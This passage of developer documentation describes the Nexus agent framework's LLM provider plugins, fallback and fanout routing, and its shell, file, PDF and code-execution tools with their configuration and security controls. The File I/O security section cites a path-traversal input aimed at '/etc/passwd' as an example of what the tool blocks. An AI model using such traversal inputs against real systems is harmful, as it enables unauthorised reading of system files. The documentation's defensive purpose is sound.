llm.stream.chunkEach chunk of a streaming response
llm.stream.endStreaming response complete
core.errorAPI errors

Features

Model Resolution

The provider uses the Model Registry to resolve role names. When an llm.request specifies a Role (e.g., "reasoning"), the provider looks up the concrete model config. If no role is specified, the default model is used.

Streaming

When llm.request.Stream is true, the provider uses Server-Sent Events (SSE) to stream the response. Each content chunk and tool use block generates a llm.stream.chunk event. When streaming completes, llm.stream.end carries the full usage statistics.

Tool Calling

The provider translates Nexus tool definitions into the Anthropic tool_use format. Tool call responses from the API are parsed and included in the llm.response or final llm.stream.end event.

Prompt Assembly

Before sending a request, the provider calls PromptRegistry.Apply() to append dynamic sections (skills catalog, system variables, etc.) to the system prompt.

Request Cancellation

Subscribes to cancel.active at priority 5. When a cancellation arrives, the in-flight HTTP request context is cancelled, aborting the API call.

Retry Logic

Transient errors (rate limits, server errors) are retried with exponential backoff.

Structured Output (Simulated)

Anthropic does not natively support response_format. When ResponseFormat is set with Type: "json_schema", the provider simulates structured output via tool-use-as-schema:

  1. A synthetic tool named _structured_output is injected alongside any real tools. Its input_schema is the output schema from ResponseFormat.Schema.
  2. tool_choice is forced to {"type": "tool", "name": "_structured_output"}, overriding any existing tool choice.
  3. Claude returns the structured data as tool call arguments.
  4. The provider unwraps the tool call arguments back into LLMResponse.Content, so downstream consumers see structured output (not a tool call).
  5. LLMResponse.Metadata["_structured_output"] is set to true.

During streaming, the synthetic tool’s input_json_delta chunks are emitted as llm.stream.chunk content events, so the UI can stream structured output in real time.

Cost Tracking

The provider computes CostUSD on every llm.response using per-model pricing rates. Embedded defaults cover common Claude models. Override via config for enterprise pricing tiers or new models:

nexus.llm.anthropic:
  pricing:
    claude-sonnet-4-6-20250514:
      input_per_million: 3.0
      output_per_million: 15.0

Config overrides are merged with embedded defaults — only override the models you need to change. Cost is accumulated into SessionMeta.CostUSD by the engine.

Debug Mode

When debug: true, raw request and response JSON bodies are written to the session’s plugin directory for inspection.

HTTP Configuration

  • Timeout: 5 minutes per request
  • API endpoint: https://api.anthropic.com/v1/messages

Example Configuration

nexus.llm.anthropic:
  api_key_env: ANTHROPIC_API_KEY
  debug: false

To use a different environment variable for the API key:

nexus.llm.anthropic:
  api_key_env: MY_CLAUDE_KEY

OpenAI Provider

The OpenAI provider calls the Chat Completions API via direct HTTP requests — no SDK dependency. It supports streaming, tool use, request cancellation, and automatic retries. Compatible with any OpenAI-compatible API endpoint (Azure OpenAI, local proxies, etc.) via base_url.

Details

IDnexus.llm.openai
DependenciesNone

Configuration

KeyTypeDefaultDescription
api_key_envstringOPENAI_API_KEYName of the environment variable containing the API key
base_urlstringhttps://api.openai.com/v1/chat/completionsAPI endpoint URL (override for Azure, local proxies, etc.)
debugboolfalseLog raw request/response bodies to the session plugin directory
pricingmap(embedded defaults)Per-model pricing overrides. Keys are model IDs, values have input_per_million and output_per_million (USD)

Events

Subscribes To

EventPriorityPurpose
llm.request10Receives LLM requests from agents
cancel.active5Cancels in-flight API requests

Emits

EventWhen
llm.responseNon-streaming response received
llm.stream.chunkEach chunk of a streaming response
llm.stream.endStreaming response complete
core.errorAPI errors

Features

Model Resolution

The provider uses the Model Registry to resolve role names. When an llm.request specifies a Role (e.g., "reasoning"), the provider looks up the concrete model config. If no role is specified, the default model is used.

Streaming

When llm.request.Stream is true, the provider uses Server-Sent Events (SSE) to stream the response. Each content chunk and tool use block generates a llm.stream.chunk event. When streaming completes, llm.stream.end carries the full usage statistics. Usage is requested via stream_options.include_usage.

Tool Calling

The provider translates Nexus tool definitions into the OpenAI function calling format (type: "function"). Tool call responses from the API are parsed and included in the llm.response or streamed via llm.stream.chunk events.

Prompt Assembly

Before sending a request, the provider calls PromptRegistry.Apply() to append dynamic sections (skills catalog, system variables, etc.) to the system prompt.

Request Cancellation

Subscribes to cancel.active at priority 5. When a cancellation arrives, the in-flight HTTP request context is cancelled, aborting the API call.

Retry Logic

Transient errors (rate limits, server errors) are retried with exponential backoff.

Structured Output (Native)

OpenAI natively supports structured output via the response_format API field. When ResponseFormat is set on an LLMRequest, the provider maps it directly:

  • json_object{"type": "json_object"} — Forces valid JSON output.
  • json_schema{"type": "json_schema", "json_schema": {"name": "...", "schema": {...}, "strict": true}} — Forces output matching a specific schema. The Strict field controls whether OpenAI enforces exact schema adherence.
  • text → No response_format field (OpenAI default).

LLMResponse.Metadata["_structured_output"] is set to true for json_object and json_schema types.

Cost Tracking

The provider computes CostUSD on every llm.response using per-model pricing rates. Embedded defaults cover common OpenAI models. Override via config for enterprise pricing tiers or new models:

nexus.llm.openai:
  pricing:
    gpt-4o:
      input_per_million: 2.50
      output_per_million: 10.0

Config overrides are merged with embedded defaults — only override the models you need to change. Cost is accumulated into SessionMeta.CostUSD by the engine.

Debug Mode

When debug: true, raw request and response JSON bodies are written to the session’s plugin directory for inspection.

Compatible Endpoints

The base_url config allows pointing at any OpenAI-compatible API:

  • Azure OpenAI — Set base_url to your Azure endpoint
  • Local proxies — LM Studio, Ollama (with OpenAI-compatible mode), vLLM, etc.
  • Other providers — Any service implementing the Chat Completions API

HTTP Configuration

  • Timeout: 5 minutes per request
  • API endpoint: Configurable via base_url, defaults to https://api.openai.com/v1/chat/completions

Example Configuration

nexus.llm.openai:
  api_key_env: OPENAI_API_KEY
  debug: false

To use a different environment variable or custom endpoint:

nexus.llm.openai:
  api_key_env: MY_OPENAI_KEY
  base_url: https://my-proxy.example.com/v1/chat/completions

Using OpenAI models in the model registry:

core:
  models:
    default: balanced
    reasoning:
      provider: nexus.llm.openai
      model: o3
      max_tokens: 16384
    balanced:
      provider: nexus.llm.openai
      model: gpt-4.1
      max_tokens: 8192
    quick:
      provider: nexus.llm.openai
      model: gpt-4.1-mini
      max_tokens: 4096

Gemini Provider

The Gemini provider calls Google’s Gemini API via direct HTTP — no SDK dependency. It supports both the public Generative Language API (api-key auth) and Vertex AI (service-account JWT auth) and ships feature parity with the OpenAI and Anthropic providers (sync + streaming, tool use, structured output, retry, cancellation, debug logs, fallback hooks). On top of that it adds Gemini-only features: thinking (“reasoning”) parts, multimodal inputs, the built-in code execution tool, and prompt caching via the cachedContents API.

Details

IDnexus.llm.gemini
DependenciesNone

Configuration

KeyTypeDefaultDescription
authstringapi_keyapi_key for the public endpoint, vertex for Vertex AI
api_keystringDirect API key (overrides api_key_env)
api_key_envstringGEMINI_API_KEY, then GOOGLE_API_KEYEnv var holding the API key
project_idstring$GOOGLE_CLOUD_PROJECT(Vertex) GCP project id
locationstringus-central1(Vertex) GCP region for the AI Platform endpoint
service_account_jsonstring(Vertex) Path to a service-account JSON key
service_account_json_envstringGOOGLE_APPLICATION_CREDENTIALS(Vertex) Env var holding the service-account path
debugboolfalseLog raw request/response bodies into the session plugin directory
pricingmapembedded defaultsPer-model pricing overrides; see Cost Tracking below
retrymapdisabledRetry/backoff config; see Retry Logic
thinkingmapdisabledReasoning config for Gemini 2.5; see Thinking
code_executionboolfalseEnable Gemini’s built-in code execution tool
cachemapdisabledPrompt cache config; see Prompt Caching

Events

Subscribes To

EventPriorityPurpose
llm.request10LLM requests from agents
cancel.active5Cancels in-flight API requests

Emits

EventWhen
llm.responseNon-streaming response received (also after a stream completes)
llm.stream.chunkEach chunk of a streaming response
llm.stream.endStreaming response complete
thinking.stepA thought: true part is observed (sync or stream)
tool.invoke / tool.resultWhen the built-in code execution tool is used
before:core.error / core.errorAPI errors (vetoable so fallback can intercept)

Features

Auth Modes

  • api_key (default) — Sends x-goog-api-key header. URL: https://generativelanguage.googleapis.com/v1beta/models/{model}:generateContent.
  • vertex — Mints an OAuth2 access token via signed JWT exchange against https://oauth2.googleapis.com/token, caches the token until expiry minus 60s, and routes requests to https://{location}-aiplatform.googleapis.com/v1/projects/{project}/locations/{location}/publishers/google/models/{model}:generateContent. JWT signing uses RS256 from the stdlib crypto/rsa; no third-party dependencies are added.

Streaming

When llm.request.Stream is true, the provider uses :streamGenerateContent?alt=sse and parses SSE data: lines. Text deltas are emitted as llm.stream.chunk (Content), function calls as llm.stream.chunk (ToolCall), and a final llm.stream.end carries usageMetadata.

Tool Calling

Nexus tool definitions are translated into Gemini functionDeclarations. Because Gemini matches tool calls and tool responses by function name (not an opaque ID), the provider synthesises stable IDs (call_{seq}_{name}) on outbound responses and resolves trailing tool messages back to the function name when serializing functionResponse parts.

Tool Choice

ToolChoice.Mode maps to toolConfig.function_calling_config:

  • automode: AUTO
  • requiredmode: ANY
  • nonemode: NONE
  • tool (with Name) → mode: ANY plus allowed_function_names: [name]

Structured Output (Native)

When ResponseFormat.Type is json_object or json_schema, the provider sets generationConfig.responseMimeType: application/json and (for json_schema) generationConfig.responseSchema. JSON Schema fields Gemini doesn’t accept ($schema, $id, additionalProperties, $ref, definitions, $defs) are stripped recursively. LLMResponse.Metadata["_structured_output"] is set to true.

Thinking (Gemini 2.5)

When thinking.enabled: true, the provider sends generationConfig.thinkingConfig:

nexus.llm.gemini:
  thinking:
    enabled: true
    budget_tokens: 8192      # 0 = disabled, -1 = dynamic budget
    include_thoughts: true   # surface thought parts to the bus

Response parts with thought: true are emitted as thinking.step events (Source: nexus.llm.gemini, Phase: reasoning) and are excluded from LLMResponse.Content. Every thinking.step event lands in the per-session journal automatically — read it via journal.Writer.SubscribeProjection (live) or journal.ProjectFile (post-mortem). usageMetadata.thoughtsTokenCount is mirrored into events.Usage.ReasoningTokens.

Multimodal

events.Message.Parts (text, image, audio, video, file) is serialized into Gemini parts. Inline payloads up to 18 MB use inlineData with base64 bytes; larger payloads must be uploaded via the Files API and referenced by URI (fileData.fileUri). Provider falls back to Content only when Parts is empty, so existing text-only callers are unaffected.

Code Execution

Set code_execution: true to advertise Gemini’s built-in code execution tool. Response parts of type executableCode and codeExecutionResult are dual-emitted: appended to Content as fenced markdown blocks for any UI, and emitted as tool.invoke / tool.result events under the synthetic name _gemini_code_execution so observers see them as ordinary tool activity.

Prompt Caching

nexus.llm.gemini:
  cache:
    enabled: true
    min_tokens: 32768
    ttl: "1h"
    max_entries: 64

The provider computes a deterministic hash of the cache-eligible prefix (model + system instruction + tool declarations + the leading run of contents up to the first tool exchange). When a hit is present in the in-memory LRU, cachedContent is set on the request and only the trailing delta is sent. Cache entries are populated explicitly via Plugin.createCachedContent; the auto-populate path is intentionally read-only in this initial release. usageMetadata.cachedContentTokenCount flows into events.Usage.CachedTokens and the cost calculation applies the cached-input discount (default 25%, override via pricing.<model>.cached_ratio).

Cost Tracking

Embedded defaults cover the 1.5, 2.0, and 2.5 model lines (single tier — the 2.5-pro >200k tier is not modeled; override via config when high-context billing matters):

nexus.llm.gemini:
  pricing:
    gemini-2.5-pro:
      input_per_million: 2.50      # >200k tier
      output_per_million: 15.0
      cached_ratio: 0.25

ReasoningTokens are billed at the output rate. CachedTokens are billed at input_per_million * cached_ratio; remaining prompt tokens at the standard input rate.

Retry Logic

Same retry surface as the OpenAI / Anthropic providers (constant, linear, exponential, exponential_jitter). Defaults retry 429 / 500 / 502 / 503 / 504. Honors Retry-After on 429 responses.

Request Cancellation

Subscribes to cancel.active at priority 5. When a cancellation arrives, the in-flight HTTP request context is cancelled.

Fallback Hook

Errors are emitted on the vetoable before:core.error event before the terminal core.error, letting nexus.provider.fallback swap to another provider in the chain.

Example: api-key

core:
  models:
    default: balanced
    balanced:
      provider: nexus.llm.gemini
      model: gemini-2.5-flash
      max_tokens: 8192

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.gemini
    - nexus.agent.react

  nexus.llm.gemini:
    api_key_env: GEMINI_API_KEY

Example: Vertex AI

plugins:
  nexus.llm.gemini:
    auth: vertex
    location: us-central1
    project_id: my-gcp-project
    service_account_json: ~/.config/gcloud/keys/nexus-sa.json

HTTP Configuration

  • Timeout: 5 minutes per request
  • Public endpoint: https://generativelanguage.googleapis.com/v1beta
  • Vertex endpoint: https://{location}-aiplatform.googleapis.com/v1

Search Grounding

A separate plugin, nexus.search.gemini_native, advertises the search.provider capability and answers search.request events using Gemini’s google_search tool. Use it independently of the LLM provider — for example, run Anthropic for chat and Gemini for grounded search lookups.

Provider Fallback

Plugin ID: nexus.provider.fallback

Automatic provider failover when the primary LLM provider returns a non-retryable error or exhausts its retry budget. Agents remain unaware — fallback is transparent at the provider layer.

Event Subscriptions

EventPriorityPurpose
before:llm.request3Inject fallback tracking metadata
before:core.error5Intercept provider errors for fallback

Event Emissions

EventPayloadPurpose
io.output.clear(none)Wipe partial streamed content from UI
provider.fallbackProviderFallbackNotify UI of provider switch
llm.requestLLMRequestRe-emit request targeting fallback provider

Configuration

No plugin-specific config. Fallback chains are defined in core.models:

core:
  models:
    balanced:
      - provider: nexus.llm.anthropic
        model: claude-sonnet-4-20250514
        max_tokens: 8192
      - provider: nexus.llm.openai
        model: gpt-4o
        max_tokens: 8192

plugins:
  active:
    - nexus.llm.anthropic
    - nexus.llm.openai
    - nexus.provider.fallback    # required for fallback to work

Trigger Conditions

Fallback occurs when:

  • Non-retryable errors: 4xx status codes (except 429), malformed responses, auth failures
  • Retries exhausted: Provider’s own retry logic (429, 5xx backoff) has hit max_retries and given up

Fallback does not occur for: cancellation, context deadline, or errors that the provider’s built-in retry is still handling.

Streaming Partial Failure

If a provider fails mid-stream:

  1. Emits io.output.clear to wipe partial streamed content from UI
  2. Emits provider.fallback notification so user sees “Switching to [provider]…”
  3. Re-emits llm.request targeting next provider in chain

Clean restart — splicing output from two different models produces incoherent text.

What Stays Unchanged

  • Agent plugins — unaware of fallback. Emit llm.request, receive llm.response.
  • Provider routing — providers still check cfg.Provider != pluginID and skip non-matching requests.
  • Single-provider configs — backward compatible, parsed as chain of length 1.
  • Gate plugins — operate on before:llm.request as before. Fallback re-emits go through same gate checks.

Request Metadata

The fallback plugin injects tracking metadata into requests for roles with fallback chains:

KeyTypePurpose
_fallback_idstringUnique ID for this fallback sequence
_fallback_attemptintCurrent index in the chain (0 = primary)
_fallback_rolestringRole name being resolved
_target_providerstringPlugin ID of the target provider (set on re-emission)

This metadata flows through the provider and back via ErrorInfo.RequestMeta on failure, enabling the plugin to correlate errors with their original requests.

Provider Fanout

Plugin ID: nexus.provider.fanout

Sends a single LLM request to multiple providers in parallel and collects their responses. Supports configurable selection strategies to determine the final response. Agents remain unaware — fanout is transparent at the provider layer.

Event Subscriptions

EventPriorityPurpose
before:llm.request2Detect fanout roles, veto original, dispatch parallel requests
llm.response1Collect individual provider responses
before:core.error4Absorb provider errors within fanout sequences

Event Emissions

EventPayloadPurpose
provider.fanout.startProviderFanoutStartFanout initiated
provider.fanout.responseProviderFanoutResponseIndividual provider responded (success or failure)
provider.fanout.completeProviderFanoutCompleteAll responses collected or deadline reached
llm.requestLLMRequestPer-provider targeted requests (via EmitAsync)
llm.responseLLMResponseCombined final response with Alternatives

Configuration

core:
  models:
    compare:
      fanout: true
      providers:
        - provider: nexus.llm.anthropic
          model: claude-sonnet-4-20250514
          max_tokens: 4096
        - provider: nexus.llm.openai
          model: gpt-4o
          max_tokens: 4096

plugins:
  active:
    - nexus.llm.anthropic
    - nexus.llm.openai
    - nexus.provider.fanout    # required for fanout to work

  nexus.provider.fanout:
    strategy: all              # selection strategy (default: "all")
    deadline_ms: 30000         # max wait time in milliseconds (default: 30000)

Plugin Config

KeyTypeDefaultDescription
strategystring"all"Selection strategy: all, llm_judge, heuristic, user
deadline_msint30000Maximum time to wait for all providers (milliseconds)

Fanout Role Config

Fanout roles are defined in core.models as maps with fanout: true and a providers list:

core:
  models:
    compare:
      fanout: true
      providers:
        - provider: nexus.llm.anthropic
          model: claude-sonnet-4-20250514
        - provider: nexus.llm.openai
          model: gpt-4o

This is distinct from fallback chains (which are YAML arrays). Fanout roles dispatch to all providers simultaneously; fallback chains try providers sequentially on error.

Selection Strategies

StrategyDescriptionStatus
allReturn all responses. First response is primary, rest in Alternatives.Implemented
llm_judgeSeparate LLM call picks best response.Planned
heuristicRule-based selection (response length, latency, confidence).Planned
userSurface all to user, let them pick.Planned

Response Shape

The combined response uses the Alternatives field on LLMResponse:

  • Primary fields (Content, Model, ToolCalls, etc.) contain the first successful response
  • Alternatives contains remaining successful responses as full LLMResponse structs
  • Usage and CostUSD are aggregated across all responses
  • Metadata["_fanout"] = true indicates this was a fanout response
  • Metadata["_fanout_id"] contains the fanout sequence ID

Deadline Handling

If any provider doesn’t respond within deadline_ms, the fanout finalizes with whatever responses have arrived. Failed or timed-out providers are counted in ProviderFanoutComplete.Failed.

If all providers fail or time out, the plugin emits a core.error instead of an llm.response.

Streaming

Fanout disables streaming for individual provider requests (Stream: false). Complete responses are required to support selection strategies and the Alternatives response shape.

Request Metadata

The fanout plugin injects tracking metadata into per-provider requests:

KeyTypePurpose
_fanout_idstringUnique ID for this fanout sequence
_target_providerstringPlugin ID of the target provider
_fanout_providerstringPlugin ID that this leg targets
_sourcestringSet to nexus.provider.fanout so agents skip individual responses

Interaction with Other Plugins

  • Fallback: Fanout and fallback serve different purposes. Fallback is sequential error recovery; fanout is parallel dispatch. A fanout leg that fails is simply marked as failed — no per-leg fallback.
  • Gates: The initial before:llm.request passes through gates normally. Per-provider requests emitted by fanout are direct llm.request events (not vetoable).
  • Mock mode: Test IO mock responses work with fanout — each fanout leg gets the next mock response in sequence.

Tool Plugins

Tool plugins give the agent capabilities to interact with the outside world. Each tool registers itself via the event bus — agents discover tools automatically.

Available Tools

PluginIDTool NameDescription
Shellnexus.tool.shellshellExecute shell commands
File I/Onexus.tool.fileread_file, write_file, list_filesRead, write, and list files
PDF Readernexus.tool.pdfread_pdfExtract text from PDF files
File Openernexus.tool.openeropen_pathOpen files in the OS default app
Human-in-the-Loopnexus.control.hitlask_userAsk the user a question or approve an action (multi-choice supported)
Code Execnexus.tool.code_execrun_codeRun a Go script that orchestrates multiple tool calls in one turn
Knowledge Searchnexus.tool.knowledge_searchknowledge_searchSemantic search over configured RAG namespaces; returns top-k chunks with source paths for citation
Session Tagsnexus.tool.session_tagssession_tag_set, session_tag_get, session_tag_delete, session_tag_listOpt-in agent read/write access to its own session’s general-namespace tags

How Tools Work

  1. Tool plugin initializes and emits tool.register with its tool definition (name, description, JSON Schema parameters)
  2. The agent collects registered tools and includes them in llm.request
  3. When the LLM responds with a tool call, the agent emits before:tool.invoke (vetoable for approval)
  4. If not vetoed, the agent emits tool.invoke
  5. The tool plugin handles the invocation and emits before:tool.result (vetoable — gates can inspect/block results)
  6. If not vetoed, the tool plugin emits tool.result
  7. The agent feeds the result back to the LLM

Tool Registration Event

Each tool emits a tool.register event with a ToolDef:

type ToolDef struct {
    Name        string // Tool name the LLM will use
    Description string // Description shown to the LLM
    Parameters  string // JSON Schema for parameters
}

Approval Flow

The before:tool.invoke event is vetoable. I/O plugins (TUI, Browser) can intercept this to show an approval dialog, especially for high-risk operations like shell commands.

Shell Tool

Executes shell commands in a controlled environment with optional command allowlisting and sandboxing.

Details

IDnexus.tool.shell
Tool Nameshell
DependenciesNone

Configuration

KeyTypeDefaultDescription
working_dirstring(session files dir)Working directory for executions.
timeoutduration30sMaximum execution time per command.
sandbox.backendstringhostSandbox tier (host; future: gvisor, firecracker, landlock).
sandbox.allowed_commandsstring[](none — all allowed)Whitelist of base command names.
sandbox.path_dirsstring[](none)Directories prepended to PATH.
sandbox.env_restrictboolfalseStrip sensitive env vars before execution.
sandbox.timeoutduration30sPer-command default; top-level timeout wins per-call.

Tool Parameters

ParameterTypeRequiredDescription
commandstringYesThe shell command to execute

Events

Subscribes To

EventPriorityPurpose
tool.invoke50Handles shell command execution

Emits

EventWhen
tool.resultCommand output (stdout + stderr)
tool.registerRegisters the shell tool at boot
core.errorExecution errors

Security Features

Command Allowlist

When sandbox.allowed_commands is set, only commands whose base name matches the list are permitted:

nexus.tool.shell:
  sandbox:
    allowed_commands: ["ls", "cat", "grep", "find", "git", "make"]

Attempting to run a command not in the list returns an error to the agent.

Sandbox Environment Restriction

When sandbox.env_restrict: true, sensitive environment variables (AWS, Google, Azure, Anthropic API keys) are stripped before command execution.

Command History

All executed commands are logged to plugins/nexus.tool.shell/history.txt in the session directory.

Example Configurations

Minimal (full access)

nexus.tool.shell:
  timeout: 30s

Coding assistant

nexus.tool.shell:
  timeout: 30s
  sandbox:
    allowed_commands: ["go", "git", "ls", "cat", "grep", "find", "mkdir", "rm", "cp", "mv", "make", "docker", "npm", "cargo", "python"]
    env_restrict: true

Read-only exploration

nexus.tool.shell:
  timeout: 10s
  sandbox:
    allowed_commands: ["ls", "cat", "grep", "find", "head", "tail", "wc"]
    env_restrict: true

File I/O Tool

Provides file read, write, and listing capabilities with path traversal protection.

Details

IDnexus.tool.file
Tool Namesread_file, write_file, list_files
DependenciesNone

Configuration

KeyTypeDefaultDescription
base_dirstring(session files dir)Root directory for file operations. All paths are resolved relative to this.
allow_external_writesboolfalseWhen false, write_file always writes to the session files directory regardless of base_dir. When true, write_file can write anywhere within base_dir.

Tools

read_file

ParameterTypeRequiredDescription
pathstringYesPath to the file to read
offsetnumberNoByte offset to start reading from (default 0)
lengthnumberNoMaximum bytes to read (default 4096)

Reads up to length bytes starting at offset. Returns a JSON object with content, bytes_read, offset, and total_size so callers can page through files larger than the chunk size.

write_file

ParameterTypeRequiredDescription
pathstringYesPath to write to
contentstringYesContent to write

Creates or overwrites the file. Emits session.file.created or session.file.updated.

list_files

ParameterTypeRequiredDescription
pathstringYesDirectory to list
patternstringNoGlob pattern to filter results

Returns a listing with file names and sizes.

Events

Subscribes To

EventPriorityPurpose
tool.invoke50Handles file operations

Emits

EventWhen
tool.resultOperation result
tool.registerRegisters all three tools at boot
core.errorFile operation errors
session.file.createdNew file written
session.file.updatedExisting file overwritten

Security

All paths are resolved relative to base_dir. Path traversal attempts (e.g., ../../etc/passwd) are blocked.

By default, write_file is restricted to the session files directory even when a custom base_dir is configured. This prevents the agent from modifying files in the working directory unless explicitly opted in via allow_external_writes: true.

Example Configuration

# Use session files directory (default)
nexus.tool.file: {}

# Use a specific directory (reads from workspace, writes to session files)
nexus.tool.file:
  base_dir: /home/user/workspace

# Allow writes to the workspace directory
nexus.tool.file:
  base_dir: /home/user/workspace
  allow_external_writes: true

PDF Reader Tool

Extracts text from PDF files using poppler-utils (pdftotext and pdfinfo).

Details

IDnexus.tool.pdf
Tool Nameread_pdf
DependenciesNone
Requirespoppler-utils installed on the system

Configuration

KeyTypeDefaultDescription
timeoutduration30sMax time for PDF processing
pdftotext_binstringpdftotextPath to the pdftotext binary
pdfinfo_binstringpdfinfoPath to the pdfinfo binary
save_to_sessionboolfalseSave extracted text to session files
save_file_namestring(auto)Filename for saved text

Tool Parameters

ParameterTypeRequiredDescription
pathstringYesPath to the PDF file
first_pageintNoFirst page to extract (1-based)
last_pageintNoLast page to extract
layoutboolNoPreserve original layout

Events

Subscribes To

EventPriorityPurpose
tool.invoke50Handles PDF read requests

Emits

EventWhen
tool.resultExtracted text
tool.registerRegisters the read_pdf tool at boot

Prerequisites

Install poppler-utils:

# macOS
brew install poppler

# Ubuntu/Debian
sudo apt-get install poppler-utils

# Arch Linux
sudo pacman -S poppler

Example Configuration

nexus.tool.pdf:
  timeout: 60s
  save_to_session: true

File Opener Tool

Opens files or URLs using the OS-native default application (e.g., open on macOS, xdg-open on Linux).

Details

IDnexus.tool.opener
Tool Nameopen_path
DependenciesNone

Configuration

KeyTypeDefaultDescription
open_cmdstring(auto-detected)Override the open command. Auto-detected: open (macOS), xdg-open (Linux), cmd /c start (Windows)
timeoutduration10sMax time to wait for the open command

Tool Parameters

ParameterTypeRequiredDescription
pathstringYesFile path or URL to open

Events

Subscribes To

EventPriorityPurpose
tool.invoke50Handles open requests

Emits

EventWhen
tool.resultConfirmation of open action
tool.registerRegisters the open_path tool at boot

Example Configuration

nexus.tool.opener:
  timeout: 10s

Code Exec Tool (Programmatic Tool Calling)

Lets the LLM orchestrate multiple tool calls in a single turn by writing a short Go script. The script runs in an embedded Yaegi interpreter and dispatches inner tool calls through the real event bus, so every existing gate still fires.

Details

IDnexus.tool.code_exec
Tool Namerun_code
DependenciesNone (uses current tool registry at invocation time)

Configuration

KeyTypeDefaultDescription
timeout_secondsint30Wall-clock limit for a script, propagated via context.Context
max_output_bytesint65536Stdout/stderr cap per script; excess is silently dropped and truncated=true is returned
max_workersintruntime.NumCPU()Concurrency ceiling for the parallel.* primitives — shared across Map/ForEach/All within a single script invocation
allowed_packagesstring[]see belowGo stdlib whitelist. Default covers pure compute: fmt, strings, strconv, bytes, regexp, unicode*, encoding/* (json/base64/hex/csv/xml/pem/binary), crypto/* (sha/md5/hmac/rand/subtle), math, math/big, math/rand, math/rand/v2, math/bits, sort, container/* (heap/list/ring), hash/* (crc32/crc64/fnv/adler32), sync, sync/atomic, errors, time, context, io, bufio. Omitted: anything touching filesystem, network, OS processes, reflection, unsafe memory. Also omitted: slices/maps (Yaegi lacks full generics support).
persist_scriptsbooltrueWrite script.go, stdout.txt, result.json, error.txt to the session workspace
reject_goroutinesbooltrueReject scripts containing go statements at the AST layer

Script Contract

The LLM passes a script argument containing a complete Go source file:

package main

import (
    "context"
    "fmt"
    "tools"
)

func Run(ctx context.Context) (any, error) {
    r, err := tools.Shell(tools.ShellArgs{Command: "ls"})
    if err != nil {
        return nil, err
    }
    fmt.Println("found:", r.Output)
    return map[string]string{"listing": r.Output}, nil
}

Hard rules enforced before Yaegi ever sees the source:

  1. Package must be main.
  2. Must declare func Run(ctx context.Context) (any, error) exactly.
  3. No go statements (phase 1).
  4. Imports restricted to allowed_packages plus tools, parallel, and skills/<name> for each currently-active skill.

Violations surface as a structured error in the tool result. The script never executes.

Typed Tool Bindings

At every run_code invocation the plugin snapshots the current tool registry and builds a fresh tools package for Yaegi:

  • JSON Schema types map to Go: string→string, integer→int64, number→float64, boolean→bool, array→[]T, object→struct.
  • Each tool foo_bar becomes tools.FooBar(args tools.FooBarArgs) (<Result>, error).
  • Return type depends on whether the tool declared OutputSchema:
    • With schema → tools.FooBarResult, a struct generated from the schema. Fields are populated from ToolResult.OutputStructured (preferred) or parsed from JSON in Output as a fallback.
    • Without schema → the fixed tools.Result struct ({Output, Error, OutputFile string}). Scripts parse Output themselves.
  • tools.Result is always exported so helper functions can handle both shapes.
  • Gate vetoes (before:tool.invoke) surface as a Go error on the tools.* call.
  • Outer run_code call is excluded from the binding — scripts cannot recursively invoke themselves.

Declaring an OutputSchema

Tool plugins opt in by adding OutputSchema to their ToolDef and populating ToolResult.OutputStructured:

_ = p.bus.Emit("tool.register", events.ToolDef{
    Name: "shell",
    // ...
    OutputSchema: map[string]any{
        "type": "object",
        "properties": map[string]any{
            "stdout":    map[string]any{"type": "string"},
            "stderr":    map[string]any{"type": "string"},
            "exit_code": map[string]any{"type": "integer"},
        },
        "required": []string{"stdout", "stderr", "exit_code"},
    },
})

// ...then in the tool's handler:
result := events.ToolResult{
    ID:     tc.ID,
    Name:   tc.Name,
    Output: humanReadableSummary,
    OutputStructured: map[string]any{
        "stdout":    stdoutStr,
        "stderr":    stderrStr,
        "exit_code": exitCode,
    },
    // ...
}

Scripts then see the typed shape:

r, err := tools.Shell(tools.ShellArgs{Command: "ls"})
if err != nil {
    return nil, err
}
fmt.Println(r.Stdout, r.Stderr, r.ExitCode)

The existing Output string still flows through the bus unchanged — non-script consumers (LLM conversation history, logging, etc.) see the same human-readable text as before. Tools without schemas continue to work as they always did.

Skill Helpers

Skills may ship .go files alongside SKILL.md. On skill.loaded the plugin reads every non-test .go in the skill dir, rewrites the package declaration to a sanitised name, and stages the result into a per-invocation GOPATH. Scripts import the package as skills/<skill_name>:

import helpers "skills/math-helpers"

func Run(ctx context.Context) (any, error) {
    return helpers.Double(21), nil
}

Skills are loaded on skill.loaded and removed on skill.deactivate. Cross-skill imports are not supported in phase 1.

Parallel Primitives

Scripts can parallelize work (tool fan-out or pure compute) via the parallel package. A host-side worker pool bounded by max_workers backs all three primitives; they share the same pool within a single run_code call.

import (
    "context"
    "parallel"
    "tools"
)

func Run(ctx context.Context) (any, error) {
    urls := []string{"https://a.example", "https://b.example", "https://c.example"}

    // Map: ordered results, first-error-cancels-the-rest.
    results, err := parallel.Map(ctx, urls, func(ctx context.Context, u string) (string, error) {
        r, err := tools.Fetch(tools.FetchArgs{URL: u})
        if err != nil { return "", err }
        return r.Body, nil
    })
    if err != nil { return nil, err }

    // results is `any` (Yaegi has no generics); cast to the element slice type.
    bodies := results.([]string)
    return bodies, nil
}

Semantics (all three):

  • First non-nil error wins, cancels the derived context.Context, waits for in-flight callbacks to observe cancellation, then returns the wrapped error.
  • Map preserves input order in the output slice; ForEach discards results but otherwise identical; All runs N heterogeneous func(ctx context.Context) error values.
  • Worker pool size = max_workers (default runtime.NumCPU()). Scripts never spawn goroutines directly — the go keyword is still rejected at the AST layer.
  • Callback panics are recovered and surface as an error on the outer call.

Expected signatures:

PrimitiveCallback shape
parallel.Map(ctx, items, fn)func(ctx context.Context, item T) (R, error)
parallel.ForEach(ctx, items, fn)func(ctx context.Context, item T) error
parallel.All(ctx, fns...)func(ctx context.Context) error

Caveat: tools invoked from inside parallel callbacks execute concurrently on the bus. Host tool plugins must tolerate concurrent tool.invoke delivery. The built-in Nexus tools (shell, file, etc.) already do since they rely on OS-level isolation or hold no shared mutable state.

Events

Subscribes To

EventPriorityPurpose
tool.invoke50Handles the outer run_code call
tool.result50Routes inner tool results back to the waiting script
tool.register50Builds the type catalogue used to generate tools.* bindings
skill.loaded50Scans and stages skill helper source files
skill.deactivate50Removes skill helpers from the active set

Emits

EventWhen
tool.registerRegisters the run_code tool at boot
before:tool.invoke / tool.invokeFor every inner tool call dispatched by a script
before:tool.result / tool.resultFor the outer run_code call
code.exec.requestJust before script execution (carries the raw script + imports + active skills)
code.exec.stdoutFor every flushed stdout chunk while the script runs; the final chunk has Final=true and carries the truncation flag if applicable
